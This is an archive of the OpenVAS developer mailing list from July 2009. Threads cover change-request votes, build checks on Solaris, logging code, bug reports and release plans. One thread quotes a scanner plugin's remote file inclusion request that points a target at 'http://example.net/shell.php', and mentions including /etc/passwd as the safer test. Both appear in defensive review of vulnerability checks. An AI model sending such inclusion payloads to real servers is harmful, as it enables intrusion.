Chandra. -----Original Message----- From: openvas-devel-bounces at wald.intevation.org [mailto:openvas-devel-bounces at wald.intevation.org] On Behalf Of Jan-Oliver Wagner Sent: Thursday, July 16, 2009 4:16 AM To: openvas-devel at wald.intevation.org Subject: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) Hello, I'd like to call for vote on Change Request #39 (Mandatory KB entries): http://www.openvas.org/openvas-cr-39.html Naturally, I vote +1. All the best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner _______________________________________________ Openvas-devel mailing list Openvas-devel at wald.intevation.org http://lists.wald.intevation.org/mailman/listinfo/openvas-devel From Jan-Oliver.Wagner at greenbone.net Thu Jul 16 08:26:42 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Thu, 16 Jul 2009 08:26:42 +0200 Subject: [Openvas-devel] openvas-libraries - configure.in In-Reply-To: <4A5EAFFE.5020705@procyonlabs.com> References: <4A5EAFFE.5020705@procyonlabs.com> Message-ID: <200907160826.42962.Jan-Oliver.Wagner@greenbone.net> On Thursday 16 July 2009 06:43:42 Randal T. Rioux wrote: > The following autotools check works on Linux but not on Solaris: > > AC_CHECK_LIB(pcap, pcap_restart, LIBS="-lpcap $LIBS", > AC_MSG_ERROR(you need to install pcap library with development files)) > > I can't find where pcap_restart is even used. Is it safe to cut this > from the list of checks? for a trial it is always OK. Usually the package does not compile if a real problem occurs. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From Jan-Oliver.Wagner at greenbone.net Thu Jul 16 17:13:38 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Thu, 16 Jul 2009 17:13:38 +0200 Subject: [Openvas-devel] Call for comment on Change Request #39 (Mandatory KB entries) In-Reply-To: <200907160917.17699.felix.wolfsteller@intevation.de> References: <200907141930.00028.Jan-Oliver.Wagner@greenbone.net> <200907160917.17699.felix.wolfsteller@intevation.de> Message-ID: <200907161713.38959.Jan-Oliver.Wagner@greenbone.net> On Thursday 16 July 2009 09:17:17 Felix Wolfsteller wrote: > I do like the general idea, although the whole pluginscheduler needs some > thoughts and work imho. indeed. But this is not in the scope of CR#39. > The problem is that the mandatory key could be set by a plugin in the same > (launch) category. The only way to ensure a correct launch order then would > be to add the script that provides the key to the dependency list. > Now if a new NVT could provide the same kb items, the first script has to > be adjusted to be dependent on the newer one, too. The documentation should recommend to use the mandatory_key method only for keys that come from an earlier ACT_ or from scripts that tell they provide it. > I am also not sure whether it shouldnt be mandatory_kb_item, I hope the > examples clarify (although they are completely made up) >... The way to use this method should remain fully analog to required_keys, else we create confusion. > Instead of letting the parser throw error messages (see the "Effects" > section), I would suggest to start on a compatibility.inc that can emulate > this function (then after compilation, at runtime), as it is already done > in many scripts, like > > if (!get_kb_item....) > exit(); > > compatibility.inc could then look like > > // Either use defined_func or NASL_LEVEL > // Probably NASL_LEVEL is the better choice > if(!defined_func(mandatory_keys)) > { > function mandatory_keys (...) > { > if (!get_kb_item.... && !description) > exit(); > } > } Not sure whether this creates a local function. Must test. Else a good idea to consider. Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From mmundell at intevation.de Thu Jul 16 23:36:55 2009 From: mmundell at intevation.de (Matthew Mundell) Date: 16 Jul 2009 21:35:55 -0001 Subject: [Openvas-devel] Logging interface Message-ID: <20090716213659.E13BFDEBA2@mail.ukfsn.org> Hi Laban I'm trying to use the openvas_library logging interface in the manager. I've found some issues: - In openvas_logging.c load_log_configuration and openvas_log_func both call g_error. The g_error doc says this is only for programming errors. A convenience function/macro to log an error message. Error messages are always fatal, resulting in a call to abort() to terminate the application. This function will result in a core dump; don't use it for errors you expect. Using this function indicates a bug in your program, i.e. an assertion failure. Maybe this is the correct behaviour for openvas_log_func but I think at least load_log_configuration should signal the error some other way, perhaps just by returning NULL. - Quotes around a "file" element in a config section, like in the CR, are treated as part of the file name, so file="/var/log/openvas.log" fails to find /var/log/openvas.log even though the file is there. - I think the "level" element would be better as a string, "warning", "critical", etc. What do you think? It should be fairly simple to do. - Do [*] config sections work at all? I only see openvas_log_func comparing directly with the config header strings. - The formatting in the code is quite mixed. Running something like indent -l 80 openvas_logging.c will convert it all to the GNU standard. Variable naming is also pretty mixed, "openvaslogconfiglist" for some, "log_separator" for others. Separating words in variable names with underscores makes the code much easier to read. Thanks Matt -- Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From randy at procyonlabs.com Fri Jul 17 06:08:23 2009 From: randy at procyonlabs.com (Randal T. Rioux) Date: Fri, 17 Jul 2009 00:08:23 -0400 Subject: [Openvas-devel] openvas-libraries - configure.in In-Reply-To: <20090716064614.GE8953@intevation.de> References: <4A5EAFFE.5020705@procyonlabs.com> <20090716064614.GE8953@intevation.de> Message-ID: <4A5FF937.7070004@procyonlabs.com> Michael Wiegand wrote: > * Randal T. Rioux [16. Jul 2009]: >> The following autotools check works on Linux but not on Solaris: >> >> AC_CHECK_LIB(pcap, pcap_restart, LIBS="-lpcap $LIBS", >> AC_MSG_ERROR(you need to install pcap library with development files)) >> >> I can't find where pcap_restart is even used. Is it safe to cut this >> from the list of checks? > > At a first glance, I'd guess the test is to ensure libpcap is present on > this system by testing for a function known to be in there. As it turns > out, the test you found is not very reliable, it seems. ;) You'd be right :) > openvas-libraries still depends on libpcap, so I think the best solution > would be to upgrade this test to reliably identify the presence of > libpcap. Do you think you can do that or would you like assistance? I've tried several different types of checks, and it just doesn't work on Solaris. I'm guessing it isn't finding the libraries for libpcap as I have them in /usr/local/lib. How can I force configure to look for the libpcap libraries in different locations? I can't see a variable to set for that, and adding -L/usr/local/lib to any of the configure flags (CC, CFLAGS, LDFLAGS, etc) proves ineffective. May add add the configure.in file should be re-written from scratch? She's ugly ;) Thanks! Randy From geoff at galitz.org Mon Jul 20 11:37:35 2009 From: geoff at galitz.org (Geoff Galitz) Date: Mon, 20 Jul 2009 11:37:35 +0200 Subject: [Openvas-devel] Call for vote on CR#39 (mandatory KB entries) In-Reply-To: <4A5E66AB.8040403@securityspace.com> References: <200907160045.31486.Jan-Oliver.Wagner@greenbone.net> <4A5E66AB.8040403@securityspace.com> Message-ID: <44125867D8A34CA7A45B0377D4E0CE5B@geoffPC> +1 --------------------------------- Geoff Galitz Blankenheim NRW, Germany http://www.galitz.org/ http://german-way.com/blog/ From lists at securityspace.com Mon Jul 20 18:39:07 2009 From: lists at securityspace.com (Thomas Reinke) Date: Mon, 20 Jul 2009 12:39:07 -0400 Subject: [Openvas-devel] [Openvas-commits] r4044 - in trunk/openvas-plugins: . scripts In-Reply-To: <20090715110536.4E88A7A158@pyrosoma.intevation.org> References: <20090715110536.4E88A7A158@pyrosoma.intevation.org> Message-ID: <4A649DAB.6090107@securityspace.com> Hi, I really don't think that plugins should be running with references to injection code that is hosted on an uncontrolled 3rd party site. That allows for introducing untrusted code into the scanner. I may be wrong in terms of how the vulnerable album.php operates, but if it truly does do an include, this is not the way to test it. Instead, on *IX systems, the typical mode of operation is to include a file such as /etc/passwd and grep for 'root' (see Yap_Blog_remote-file_include.nasl for an example), or check phpWebThings_35313.nasl for an example on how to check for a vulnerability on either *IX or MS. Thomas > trunk/openvas-plugins/scripts/gb_dm_filemanager_file_inc_vuln.nasl e > + sndReq = http_get(item:dmfVer[2] + "/dm-albums/template/album.php?" + > + "SECURITY_FILE=http://example.net/shell.php", port:dmfPort); From geoff at galitz.org Mon Jul 20 18:52:58 2009 From: geoff at galitz.org (Geoff Galitz) Date: Mon, 20 Jul 2009 18:52:58 +0200 Subject: [Openvas-devel] [Openvas-commits] r4044 - intrunk/openvas-plugins: . scripts In-Reply-To: <4A649DAB.6090107@securityspace.com> References: <20090715110536.4E88A7A158@pyrosoma.intevation.org> <4A649DAB.6090107@securityspace.com> Message-ID: > I really don't think that plugins should be running with references > to injection code that is hosted on an uncontrolled 3rd party site. > That allows for introducing untrusted code into the scanner. ... > > trunk/openvas-plugins/scripts/gb_dm_filemanager_file_inc_vuln.nasl > e > > > + sndReq = http_get(item:dmfVer[2] + "/dm-albums/template/album.php?" + > > + "SECURITY_FILE=http://example.net/shell.php", Does that code work? I was under the impression that a network connection to a third host was prohibited by the scanning engine (that is, the scanning engine would connect only to the target host to be scanned on a script by script basis). If that does work, I whole heartedly agree with Thomas. Connections to remote sites is risky. Perhaps allowing connections to alternate hosts within the same network would be ok... but connecting out from the target network should be a big no-no. -geoff --------------------------------- Geoff Galitz Blankenheim NRW, Germany http://www.galitz.org/ http://german-way.com/blog/ From lists at securityspace.com Mon Jul 20 18:57:50 2009 From: lists at securityspace.com (Thomas Reinke) Date: Mon, 20 Jul 2009 12:57:50 -0400 Subject: [Openvas-devel] [Openvas-commits] r4044 - intrunk/openvas-plugins: . scripts In-Reply-To: References: <20090715110536.4E88A7A158@pyrosoma.intevation.org> <4A649DAB.6090107@securityspace.com> Message-ID: <4A64A20E.8030804@securityspace.com> Geoff Galitz wrote: > > >> I really don't think that plugins should be running with references >> to injection code that is hosted on an uncontrolled 3rd party site. >> That allows for introducing untrusted code into the scanner. > > ... > >>> trunk/openvas-plugins/scripts/gb_dm_filemanager_file_inc_vuln.nasl >> e >> >>> + sndReq = http_get(item:dmfVer[2] + "/dm-albums/template/album.php?" + >>> + "SECURITY_FILE=http://example.net/shell.php", > > Does that code work? I was under the impression that a network connection > to a third host was prohibited by the scanning engine (that is, the scanning > engine would connect only to the target host to be scanned on a script by > script basis). In this case, the engine is sending to the tested web server application a request that tricks that web server into connecting to an outside web site. The severity is mitigated by the fact that the example.com|org|net domains are reserved by IANA, and are unlikely to host malicious code. But given there is an alternative, I don't think this approach should be used. > > If that does work, I whole heartedly agree with Thomas. Connections to > remote sites is risky. Perhaps allowing connections to alternate hosts > within the same network would be ok... but connecting out from the target > network should be a big no-no. > > -geoff > Thomas From geoff at galitz.org Mon Jul 20 19:07:11 2009 From: geoff at galitz.org (Geoff Galitz) Date: Mon, 20 Jul 2009 19:07:11 +0200 Subject: [Openvas-devel] [Openvas-commits] r4044 - intrunk/openvas-plugins: . scripts In-Reply-To: <4A64A20E.8030804@securityspace.com> References: <20090715110536.4E88A7A158@pyrosoma.intevation.org> <4A649DAB.6090107@securityspace.com> <4A64A20E.8030804@securityspace.com> Message-ID: > In this case, the engine is sending to the tested web server application > a request that tricks that web server into connecting to an outside > web site. The severity is mitigated by the fact that the > example.com|org|net domains are reserved by IANA, and are unlikely to > host malicious code. But given there is an alternative, I don't > think this approach should be used. Ah! I understand. -geoff --------------------------------- Geoff Galitz Blankenheim NRW, Germany http://www.galitz.org/ http://german-way.com/blog/ From mime at gmx.de Mon Jul 20 19:53:43 2009 From: mime at gmx.de (Michael Meyer) Date: Mon, 20 Jul 2009 19:53:43 +0200 Subject: [Openvas-devel] [Openvas-commits] r4044 - intrunk/openvas-plugins: . scripts In-Reply-To: References: <20090715110536.4E88A7A158@pyrosoma.intevation.org> <4A649DAB.6090107@securityspace.com> Message-ID: <20090720175343.GA17055@komma-nix.de> *** Geoff Galitz wrote: > I was under the impression that a network connection to a third host > was prohibited by the scanning engine AFAIK it is not prohibited. Have a look at 'proxy_use.nasl'. Micha From mime at gmx.de Mon Jul 20 19:56:19 2009 From: mime at gmx.de (Michael Meyer) Date: Mon, 20 Jul 2009 19:56:19 +0200 Subject: [Openvas-devel] [Openvas-commits] r4044 - intrunk/openvas-plugins: . scripts In-Reply-To: <20090720175343.GA17055@komma-nix.de> References: <20090715110536.4E88A7A158@pyrosoma.intevation.org> <4A649DAB.6090107@securityspace.com> <20090720175343.GA17055@komma-nix.de> Message-ID: <20090720175619.GB17055@komma-nix.de> *** Michael Meyer wrote: > *** Geoff Galitz wrote: > > > I was under the impression that a network connection to a third host > > was prohibited by the scanning engine > > AFAIK it is not prohibited. Have a look at 'proxy_use.nasl'. Ignore that. The engine is sending to the tested proxy and the proxy do that connection... Micha From bchandra at secpod.com Tue Jul 21 17:12:31 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Tue, 21 Jul 2009 20:42:31 +0530 Subject: [Openvas-devel] [Openvas-commits] r4044 - intrunk/openvas-plugins: . scripts In-Reply-To: <4A649DAB.6090107@securityspace.com> References: <20090715110536.4E88A7A158@pyrosoma.intevation.org> <4A649DAB.6090107@securityspace.com> Message-ID: <5E0CC21AD24343B9911721841FD8AA70@bchandra> Thanks for the suggestion, script will be updated to do local file inclusion test. Thanks, Chandra. -----Original Message----- From: openvas-devel-bounces at wald.intevation.org [mailto:openvas-devel-bounces at wald.intevation.org] On Behalf Of Thomas Reinke Sent: Monday, July 20, 2009 10:09 PM To: openvas-devel at wald.intevation.org Subject: Re: [Openvas-devel] [Openvas-commits] r4044 - intrunk/openvas-plugins: . scripts Hi, I really don't think that plugins should be running with references to injection code that is hosted on an uncontrolled 3rd party site. That allows for introducing untrusted code into the scanner. I may be wrong in terms of how the vulnerable album.php operates, but if it truly does do an include, this is not the way to test it. Instead, on *IX systems, the typical mode of operation is to include a file such as /etc/passwd and grep for 'root' (see Yap_Blog_remote-file_include.nasl for an example), or check phpWebThings_35313.nasl for an example on how to check for a vulnerability on either *IX or MS. Thomas > trunk/openvas-plugins/scripts/gb_dm_filemanager_file_inc_vuln.nasl e > + sndReq = http_get(item:dmfVer[2] + "/dm-albums/template/album.php?" + > + "SECURITY_FILE=http://example.net/shell.php", port:dmfPort); _______________________________________________ Openvas-devel mailing list Openvas-devel at wald.intevation.org http://lists.wald.intevation.org/mailman/listinfo/openvas-devel From timb at nth-dimension.org.uk Sun Jul 26 17:08:31 2009 From: timb at nth-dimension.org.uk (Tim Brown) Date: Sun, 26 Jul 2009 16:08:31 +0100 Subject: [Openvas-devel] HAR 2009 Message-ID: <200907261608.33372.timb@nth-dimension.org.uk> So I already know that myself and two other OpenVAS developers will be attending HAR 2009 in a few weeks time, so I figured a page on their wiki might be useful: https://wiki.har2009.org/page/OpenVAS Cheers, Tim -- Tim Brown From openvas-bugs at wald.intevation.org Tue Jul 21 14:00:29 2009 From: openvas-bugs at wald.intevation.org (openvas-bugs@wald.intevation.org) Date: Tue, 21 Jul 2009 14:00:29 +0200 (CEST) Subject: [Openvas-devel] =?utf-8?q?=5Bopenvas-Bugs=5D=5B1066=5D_ssh=5Flogi?= =?utf-8?q?n=5For=5Freuse=5Fconnection=28=29_caused_different_Probl?= =?utf-8?q?ems=2E?= Message-ID: <20090721120029.3196D80FDB8B@pyrosoma.intevation.org> Bugs item #1066, was opened at 2009-07-21 12:00 Status: Open Priority: 3 Submitted By: Michael Meyer (mime) Assigned to: Nobody (None) Summary: ssh_login_or_reuse_connection() caused different Problems. Architecture: 32 Bit Resolution: None Severity: normal Version: None Component: None Operating System: Linux Product: OpenVAS Hardware: PC URL: Initial Comment: Server-Environment 1: Linux kira 2.6.26-gentoo #1 Sat Jul 19 14:04:50 CEST 2008 i686 AMD Athlon(tm) XP AuthenticAMD GNU/Linux Gentoo 32bit openvas-libraries 2.0.3 openvas-libnasl 2.0.1 openvas-server 2.0.2 openvas-plugins 1.0.7 All from Source. Server-Environment 2: Linux cody 2.6.22.19-0.2-default #1 SMP 2008-12-18 10:17:03 +0100 i686 i686 i386 GNU/Linux openSUSE 10.3 32bit openvas-libraries 2.0.3 openvas-libnasl 2.0.1 openvas-server 2.0.2 openvas-plugins 1.0.7 All from Source. Client-Configuration: checks to perform concurrently = 1 The only activated Plugin is "secpod_apache_apr-utils_detect.nasl". Dependencies = Enable at runtime Problem Server-Environment 1: [Tue Jul 21 13:33:45 2009][27236] user mime : launching http_version.nasl against 192.168.1.2 [27316] [Tue Jul 21 13:33:45 2009][27236] http_version.nasl (process 27316) finished its job in 0.044 seconds [Tue Jul 21 13:33:45 2009][27236] user mime : launching secpod_apache_apr-utils_detect.nasl against 192.168.1.2 [27319] ==> /opt/openvas-2.0.2/var/log/openvas/openvasd.dump <== Could not realloc() a pointer of size 1919116628 ! ==> /opt/openvas-2.0.2/var/log/openvas/openvasd.messages <== [Tue Jul 21 13:35:45 2009][27236] shared_socket: Secret/SSH/socket is unknown [Tue Jul 21 13:35:45 2009][27236] process_internal_msg for secpod_apache_apr-utils_detect.nasl returned -1 [Tue Jul 21 13:35:45 2009][25756] user mime : test complete [Tue Jul 21 13:35:45 2009][25756] Total time to scan all hosts : 145 seconds [Tue Jul 21 13:35:45 2009][25756] user mime : Kept alive connection Problem Server-Environment 2: [Tue Jul 21 09:54:21 2009][5386] shared_socket: Secret/SSH/socket is unknown [Tue Jul 21 09:54:21 2009][5386] process_internal_msg for secpod_apache_apr-utils_detect.nasl returned -1 [Tue Jul 21 09:56:21 2009][5386] Process 5445 seems to have died too early [Tue Jul 21 09:56:21 2009][5386] process_internal_msg for secpod_apache_apr-utils_detect.nasl returned -1 [Tue Jul 21 09:56:21 2009][5386] Finished testing 192.168.1.2. Time : 256.29 secs [Tue Jul 21 09:56:21 2009][4968] user mime : test complete [Tue Jul 21 09:56:21 2009][4968] Total time to scan all hosts : 256 seconds Process 5445 is secpod_apache_apr-utils_detect.nasl.. This happens when "ssh_login_or_reuse_connection()" is called by secpod_apache_apr-utils_detect.nasl *and* there is more than one HTTPD listen. The Scan-Target has an Apache and a Squid/Cups running. If i shut down one of them, so that only one HTTPD is listen, there is no problem. Problem seems to be somewhere around "function ssh_reuse_connection()" from ssh_func.inc. If i commented out #soc = shared_socket_acquire("Secret/SSH/socket"); #if ( reuse_connection_init() < 0 ) # { # _reuse_connection = 0; # return 0; # } problem is gone. if i only commented out #soc = shared_socket_acquire("Secret/SSH/socket"); the problem remains. if i only commented out #if ( reuse_connection_init() < 0 ) # { # _reuse_connection = 0; # return 0; # } the problem remains. ---------------------------------------------------------------------- You can respond by visiting: http://wald.intevation.org/tracker/?func=detail&atid=220&aid=1066&group_id=29 From openvas-bugs at wald.intevation.org Sun Jul 26 13:32:18 2009 From: openvas-bugs at wald.intevation.org (openvas-bugs@wald.intevation.org) Date: Sun, 26 Jul 2009 13:32:18 +0200 (CEST) Subject: [Openvas-devel] =?utf-8?q?=5Bopenvas-Bugs=5D=5B1068=5D_bashisms_i?= =?utf-8?q?n_provided_scripts_shipped_with_openvas-server?= Message-ID: <20090726113218.1B69F865F465@pyrosoma.intevation.org> Bugs item #1068, was opened at 2009-07-26 11:32 Status: Open Priority: 3 Submitted By: Jan Wagner (waja) Assigned to: Nobody (None) Summary: bashisms in provided scripts shipped with openvas-server Architecture: None Resolution: None Severity: None Version: v2.0.2 Component: openvas-server Operating System: Linux Product: OpenVAS Hardware: None URL: Initial Comment: Using checkbashisms I observered there bashisms while as shebang /bin/sh is used: $ checkbashisms /home/waja/debian-builds/openvas-server/build-area/openvas-server-2.0.2/debian/tmp/usr/*bin/openvas-* possible bashism in /home/waja/debian-builds/openvas-server/build-area/openvas-server-2.0.2/debian/tmp/usr/bin/openvas-mkcert-client line 61 ('((' should be '$(('): if (( $? )); script /home/waja/debian-builds/openvas-server/build-area/openvas-server-2.0.2/debian/tmp/usr/bin/openvas-mkrand does not appear to have a #! interpreter line; you may get strange results possible bashism in /home/waja/debian-builds/openvas-server/build-area/openvas-server-2.0.2/debian/tmp/usr/sbin/openvas-adduser line 53 ('((' should be '$(('): if (( $? )); possible bashism in /home/waja/debian-builds/openvas-server/build-area/openvas-server-2.0.2/debian/tmp/usr/sbin/openvas-mkcert line 63 ('((' should be '$(('): if (( $? )); possible bashism in /home/waja/debian-builds/openvas-server/build-area/openvas-server-2.0.2/debian/tmp/usr/sbin/openvas-rmuser line 55 ('((' should be '$(('): if (( $? )); ---------------------------------------------------------------------- You can respond by visiting: http://wald.intevation.org/tracker/?func=detail&atid=220&aid=1068&group_id=29 From michael.wiegand at intevation.de Mon Jul 27 11:36:23 2009 From: michael.wiegand at intevation.de (Michael Wiegand) Date: Mon, 27 Jul 2009 11:36:23 +0200 Subject: [Openvas-devel] [Openvas-commits] r4155 - in trunk/openvas-libraries/packaging/debian: . patches In-Reply-To: <20090726184936.0368F865F4A2@pyrosoma.intevation.org> References: <20090726184936.0368F865F4A2@pyrosoma.intevation.org> Message-ID: <20090727093623.GJ23952@intevation.de> Jan, Thank you for taking care of the Debian packaging once again! Two points regarding your commits: 1) Please make sure to log your changes in the top level ChangeLog. I know they are logged in the /debian/changelog, but please put the in the top level ChangeLog as well for consistency. 2) I've noticed you committed your changes to the SVN trunk, I'm not sure if that was your intention. SVN trunk is currently under heavy devolopment and will result in OpenVAS 2.1 (or 3.0). If you want your changes to be applied to future releases of the 2.0 series, you should backport them to branches/openvas--2-0. Let me know if you have any questions. Regards, Michael -- Michael Wiegand | OpenPGP: D7D049EC | Intevation GmbH - www.intevation.de Neuer Graben 17, 49074 Osnabr?ck, Germany | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 198 bytes Desc: not available Url : http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090727/ef7a18c7/attachment.pgp From labeneator at gmail.com Mon Jul 27 13:00:28 2009 From: labeneator at gmail.com (Lmwangi) Date: Mon, 27 Jul 2009 15:00:28 +0400 Subject: [Openvas-devel] Logging interface In-Reply-To: <20090716213659.E13BFDEBA2@mail.ukfsn.org> References: <20090716213659.E13BFDEBA2@mail.ukfsn.org> Message-ID: <1e6e35b60907270400s2200de19k4bbac701c2c556d5@mail.gmail.com> Hi Matt, Sorry been relocating so I fell behind with this. :( On Fri, Jul 17, 2009 at 1:36 AM, Matthew Mundell wrote: > Hi Laban > > I'm trying to use the openvas_library logging interface in the manager. > I've found some issues: > > ?- In openvas_logging.c load_log_configuration and openvas_log_func > ? both call g_error. ?The g_error doc says this is only for programming > ? errors. > > ? ? ? ? ? A convenience function/macro to log an error message. Error messages are always > ? ? ? ? ? fatal, resulting in a call to abort() to terminate the application. This > ? ? ? ? ? function will result in a core dump; don't use it for errors you expect. Using > ? ? ? ? ? this function indicates a bug in your program, i.e. an assertion failure. > > ? Maybe this is the correct behaviour for openvas_log_func but I think at > ? least load_log_configuration should signal the error some other way, > ? perhaps just by returning NULL. Ok, will look at this > > ?- Quotes around a "file" element in a config section, like in the CR, are > ? treated as part of the file name, so > > ? ? ? ? ? file="/var/log/openvas.log" > > ? fails to find /var/log/openvas.log even though the file is there. Will fix. > > ?- I think the "level" element would be better as a string, "warning", > ? "critical", etc. ?What do you think? ?It should be fairly simple to do. > Quick one should I just use glib's error levels? http://library.gnome.org/devel/glib/unstable/glib-Message-Logging.html#GLogLevelFlags or should we simply use warning, critical etc as you suggest? > ?- Do [*] config sections work at all? ?I only see openvas_log_func > ? comparing directly with the config header strings. > > ?- The formatting in the code is quite mixed. ?Running something like > > ? ? ? ? ?indent -l 80 openvas_logging.c > > ? will convert it all to the GNU standard. ?Variable naming is also pretty > ? mixed, "openvaslogconfiglist" for some, "log_separator" for others. > ? Separating words in variable names with underscores makes the code much > ? easier to read. Will fix this too. Reading the gnu coding standards at the moment > > Thanks > Matt > -- > Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 > Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner > Thanks Matt, From mmundell at intevation.de Mon Jul 27 13:08:38 2009 From: mmundell at intevation.de (Matthew Mundell) Date: 27 Jul 2009 11:07:38 -0001 Subject: [Openvas-devel] Logging interface In-Reply-To: Message of Mon, 27 Jul 2009 15:00:28 +0400. <1e6e35b60907270400s2200de19k4bbac701c2c556d5@mail.gmail.com> Message-ID: <20090727110840.220D3DEB76@mail.ukfsn.org> > Sorry been relocating so I fell behind with this. :( That's OK, thanks for taking a look. > >  - Quotes around a "file" element in a config section, like in the CR, are > >   treated as part of the file name, so > > > >           file="/var/log/openvas.log" > > > >   fails to find /var/log/openvas.log even though the file is there. > Will fix. Maybe just change the CR. > >  - I think the "level" element would be better as a string, "warning", > >   "critical", etc.  What do you think?  It should be fairly simple to do. > > > Quick one should I just use glib's error levels? > http://library.gnome.org/devel/glib/unstable/glib-Message-Logging.html#GLogLevelFlags > or should we simply use warning, critical etc as you suggest? You mean using G_LOG_LEVEL_ERROR, etc? I'd say "warning", etc (in any case, upper or lower) is better. > Will fix this too. Reading the gnu coding standards at the moment Cool. "indent" should do the job. From geoff at galitz.org Fri Jul 31 20:25:39 2009 From: geoff at galitz.org (Geoff Galitz) Date: Fri, 31 Jul 2009 20:25:39 +0200 Subject: [Openvas-devel] SSH library evaluation update Message-ID: <716E2A9232E94354B903FF76AF242109@geoffPC> Just for folks who are curious, here is an update: Projects currently being reviewed: * libssh * cryptlib More are coming. Criteria: * Active development community * Is support easily accessible * Good documentation * Widely available across Linux distributions and other operating systems in binary packages (e.g. RPM, Deb) * Does it build and operate cleanly from source * Protocol 1 and 2 support I'm currently on the "is it available in binary for various OSs and does it build cleanly" part of the evaluation. There are way too many OSs to investigate, so here is where I am focusing my attention: * Centos * OpenSuSE * Ubuntu * Debian * Solaris x86 * OpenSolaris x86 * Mac OS X PPC If you want me to check on another OS in particular, just let me know. It would help to know if anyone on the list is using anything other than what is listed above. --------------------------------- Geoff Galitz Blankenheim NRW, Germany http://www.galitz.org/ http://german-way.com/blog/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.wald.intevation.org/pipermail/openvas-devel/attachments/20090731/37b18244/attachment.html From openvas-bugs at wald.intevation.org Wed Jul 29 18:34:43 2009 From: openvas-bugs at wald.intevation.org (openvas-bugs@wald.intevation.org) Date: Wed, 29 Jul 2009 18:34:43 +0200 (CEST) Subject: [Openvas-devel] =?utf-8?q?=5Bopenvas-Bugs=5D=5B1072=5D_scripts_ar?= =?utf-8?q?e_installed_into_/usr/lib/openvas-client/?= Message-ID: <20090729163443.9C84E865F4B1@pyrosoma.intevation.org> Bugs item #1072, was opened at 2009-07-29 16:34 Status: Open Priority: 3 Submitted By: Jan Wagner (waja) Assigned to: Nobody (None) Summary: scripts are installed into /usr/lib/openvas-client/ Architecture: None Resolution: None Severity: None Version: v2.0.3 Component: openvas-client Operating System: None Product: OpenVAS Hardware: None URL: Initial Comment: Scripts are installed into /usr/lib/openvas-client/ but should get into /usr/share/openvas-client/ instead. Patch is attached. ---------------------------------------------------------------------- You can respond by visiting: http://wald.intevation.org/tracker/?func=detail&atid=220&aid=1072&group_id=29 From Jan-Oliver.Wagner at greenbone.net Fri Jul 31 23:01:58 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Fri, 31 Jul 2009 23:01:58 +0200 Subject: [Openvas-devel] New releases for 2-0 modules planned Message-ID: <200907312301.59165.Jan-Oliver.Wagner@greenbone.net> Hello, I ported back several patches from trunk to 2-0 and would like to have new 2.0.x releases of openvas-libraries, openvas-libnasl, openvas-server and openvas-client soon (within next 1-2 weeks). Is there anything importantwe need to get into this maintenance releases? Most prominently I can think of Jan's patches to the Debian packaging. All the best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From Jan-Oliver.Wagner at greenbone.net Fri Jul 31 23:31:34 2009 From: Jan-Oliver.Wagner at greenbone.net (Jan-Oliver Wagner) Date: Fri, 31 Jul 2009 23:31:34 +0200 Subject: [Openvas-devel] Call for vote on CR#38 (Reorganize OpenVAS libraries) Message-ID: <200907312331.34416.Jan-Oliver.Wagner@greenbone.net> Hello, I'd like to call for a vote on CR#38 http://www.openvas.org/openvas-cr-38.html "Reorganize OpenVAS libraries" This is a very important change request and if there are any doubts about this change, please let us know. The change includes a couple of consequence, please see the "Effects" section. I am aware that the "cmake" decision is not yet done. However, I think this should not prevent the general decision on how to organize OpenVAS libraries. Of course my vote is: +1. All the best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335084-0 | http://www.greenbone.net/ Greenbone Networks GmbH, Neuer Graben 17, 49074 Osnabr?ck AG Osnabr?ck, HR B 202460 | Gesch?ftsf?hrer: Lukas Grunwald, Dr. Jan-Oliver Wagner From bogus@does.not.exist.com Thu Jul 16 16:40:41 2009 From: bogus@does.not.exist.com () Date: Thu, 16 Jul 2009 14:40:41 -0000 Subject: No subject Message-ID: Same error for openvas-manager. Thanks! ---------------------------------------------------------------------- You can respond by visiting: http://wald.intevation.org/tracker/?func=detail&atid=220&aid=1227&group_id=29